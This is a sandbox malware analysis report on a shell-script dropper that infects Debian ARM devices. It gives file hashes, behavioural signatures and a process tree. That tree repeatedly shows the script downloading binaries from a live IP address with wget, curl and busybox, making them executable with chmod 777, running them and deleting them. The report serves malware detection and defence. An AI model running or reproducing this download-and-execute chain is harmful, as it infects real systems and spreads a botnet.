Analysis

  • max time kernel
    11s
  • max time network
    12s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    25/11/2024, 03:04

General

  • Target

    e1617ef99f09c96979997e1964d7d97b1a3d89e1625a6b8746176c825fdaa855.sh

  • Size

    10KB

  • MD5

    21babea83b818a044ea8aa5448fcb3cb

  • SHA1

    20cd57f2ec215de9679cbe64954812f7b0aa6107

  • SHA256

    e1617ef99f09c96979997e1964d7d97b1a3d89e1625a6b8746176c825fdaa855

  • SHA512

    9c33a7cffe538e0624283146cb4c8ebcfd96e23282a4a1010138d0a83b9671b0b1607c10c3aae2d1c377ca63d5e06b8ea22d358d53d7bd8626d1f576d863b1a8

  • SSDEEP

    96:nM/LbT0AbObHbjbfLb6bybIBhw31aADk/kbkTkikCkefhG3NahCk/kbkTkikCka0:nqOLPHOuMBilaAsObLPHOu5

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Checks CPU configuration 1 TTPs 6 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 12 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/e1617ef99f09c96979997e1964d7d97b1a3d89e1625a6b8746176c825fdaa855.sh
    /tmp/e1617ef99f09c96979997e1964d7d97b1a3d89e1625a6b8746176c825fdaa855.sh
    1⤵
      PID:637
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:639
        • /usr/bin/wget
          wget http://216.126.231.240/bins/pUHgaqxg6NP2Uq8jJ0HLdRT6MJ2s4zOnxr
          2⤵
            PID:644
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/pUHgaqxg6NP2Uq8jJ0HLdRT6MJ2s4zOnxr
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:659
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/pUHgaqxg6NP2Uq8jJ0HLdRT6MJ2s4zOnxr
            2⤵
              PID:668
            • /bin/chmod
              chmod 777 pUHgaqxg6NP2Uq8jJ0HLdRT6MJ2s4zOnxr
              2⤵
              • File and Directory Permissions Modification
              PID:670
            • /tmp/pUHgaqxg6NP2Uq8jJ0HLdRT6MJ2s4zOnxr
              ./pUHgaqxg6NP2Uq8jJ0HLdRT6MJ2s4zOnxr
              2⤵
              • Executes dropped EXE
              PID:671
            • /bin/rm
              rm pUHgaqxg6NP2Uq8jJ0HLdRT6MJ2s4zOnxr
              2⤵
                PID:672
              • /usr/bin/wget
                wget http://216.126.231.240/bins/HN4zjtbqzr238vxIimKIC09iW0vBbLjgto
                2⤵
                  PID:673
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/HN4zjtbqzr238vxIimKIC09iW0vBbLjgto
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:678
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/HN4zjtbqzr238vxIimKIC09iW0vBbLjgto
                  2⤵
                    PID:685
                  • /bin/chmod
                    chmod 777 HN4zjtbqzr238vxIimKIC09iW0vBbLjgto
                    2⤵
                    • File and Directory Permissions Modification
                    PID:691
                  • /tmp/HN4zjtbqzr238vxIimKIC09iW0vBbLjgto
                    ./HN4zjtbqzr238vxIimKIC09iW0vBbLjgto
                    2⤵
                    • Executes dropped EXE
                    PID:693
                  • /bin/rm
                    rm HN4zjtbqzr238vxIimKIC09iW0vBbLjgto
                    2⤵
                      PID:694
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/qXrmgq3p85w30klarOtdiw4ctUnyHk6PBT
                      2⤵
                        PID:695
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/qXrmgq3p85w30klarOtdiw4ctUnyHk6PBT
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:702
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/qXrmgq3p85w30klarOtdiw4ctUnyHk6PBT
                        2⤵
                          PID:709
                        • /bin/chmod
                          chmod 777 qXrmgq3p85w30klarOtdiw4ctUnyHk6PBT
                          2⤵
                          • File and Directory Permissions Modification
                          PID:716
                        • /tmp/qXrmgq3p85w30klarOtdiw4ctUnyHk6PBT
                          ./qXrmgq3p85w30klarOtdiw4ctUnyHk6PBT
                          2⤵
                          • Executes dropped EXE
                          PID:718
                        • /bin/rm
                          rm qXrmgq3p85w30klarOtdiw4ctUnyHk6PBT
                          2⤵
                            PID:719
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/tCIKXQsohvI8zLb5uZVKcpcJlAE953Te7C
                            2⤵
                              PID:722
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/tCIKXQsohvI8zLb5uZVKcpcJlAE953Te7C
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:729
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/tCIKXQsohvI8zLb5uZVKcpcJlAE953Te7C
                              2⤵
                                PID:732
                              • /bin/chmod
                                chmod 777 tCIKXQsohvI8zLb5uZVKcpcJlAE953Te7C
                                2⤵
                                • File and Directory Permissions Modification
                                PID:733
                              • /tmp/tCIKXQsohvI8zLb5uZVKcpcJlAE953Te7C
                                ./tCIKXQsohvI8zLb5uZVKcpcJlAE953Te7C
                                2⤵
                                • Executes dropped EXE
                                PID:734
                              • /bin/rm
                                rm tCIKXQsohvI8zLb5uZVKcpcJlAE953Te7C
                                2⤵
                                  PID:735
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/kFevGvzr9hA5kIgiZLUtLp1YF926JJZZR2
                                  2⤵
                                    PID:736
                                  • /usr/bin/curl
                                    curl -O http://216.126.231.240/bins/kFevGvzr9hA5kIgiZLUtLp1YF926JJZZR2
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:740
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/kFevGvzr9hA5kIgiZLUtLp1YF926JJZZR2
                                    2⤵
                                      PID:745
                                    • /bin/chmod
                                      chmod 777 kFevGvzr9hA5kIgiZLUtLp1YF926JJZZR2
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:751
                                    • /tmp/kFevGvzr9hA5kIgiZLUtLp1YF926JJZZR2
                                      ./kFevGvzr9hA5kIgiZLUtLp1YF926JJZZR2
                                      2⤵
                                      • Executes dropped EXE
                                      PID:752
                                    • /bin/rm
                                      rm kFevGvzr9hA5kIgiZLUtLp1YF926JJZZR2
                                      2⤵
                                        PID:753
                                      • /usr/bin/wget
                                        wget http://216.126.231.240/bins/JICjR9wAOhA3GsPWBMdDUqQ92J7k5jWUuD
                                        2⤵
                                          PID:755
                                        • /usr/bin/curl
                                          curl -O http://216.126.231.240/bins/JICjR9wAOhA3GsPWBMdDUqQ92J7k5jWUuD
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:762
                                        • /bin/busybox
                                          /bin/busybox wget http://216.126.231.240/bins/JICjR9wAOhA3GsPWBMdDUqQ92J7k5jWUuD
                                          2⤵
                                            PID:770
                                          • /bin/chmod
                                            chmod 777 JICjR9wAOhA3GsPWBMdDUqQ92J7k5jWUuD
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:775
                                          • /tmp/JICjR9wAOhA3GsPWBMdDUqQ92J7k5jWUuD
                                            ./JICjR9wAOhA3GsPWBMdDUqQ92J7k5jWUuD
                                            2⤵
                                            • Executes dropped EXE
                                            PID:776
                                          • /bin/rm
                                            rm JICjR9wAOhA3GsPWBMdDUqQ92J7k5jWUuD
                                            2⤵
                                              PID:777
                                            • /usr/bin/wget
                                              wget http://216.126.231.240/bins/0zxveDxZt2CY71VSBa3zBcY4Uqc82fkwKX
                                              2⤵
                                                PID:778

                                            Network

                                                  MITRE ATT&CK Enterprise v15

                                                  Replay Monitor

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                                                  Downloads

                                                  • /tmp/pUHgaqxg6NP2Uq8jJ0HLdRT6MJ2s4zOnxr

                                                    Filesize

                                                    153B

                                                    MD5

                                                    998368d7c95ea4293237f2320546e440

                                                    SHA1

                                                    30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                                                    SHA256

                                                    533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                                                    SHA512

                                                    648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97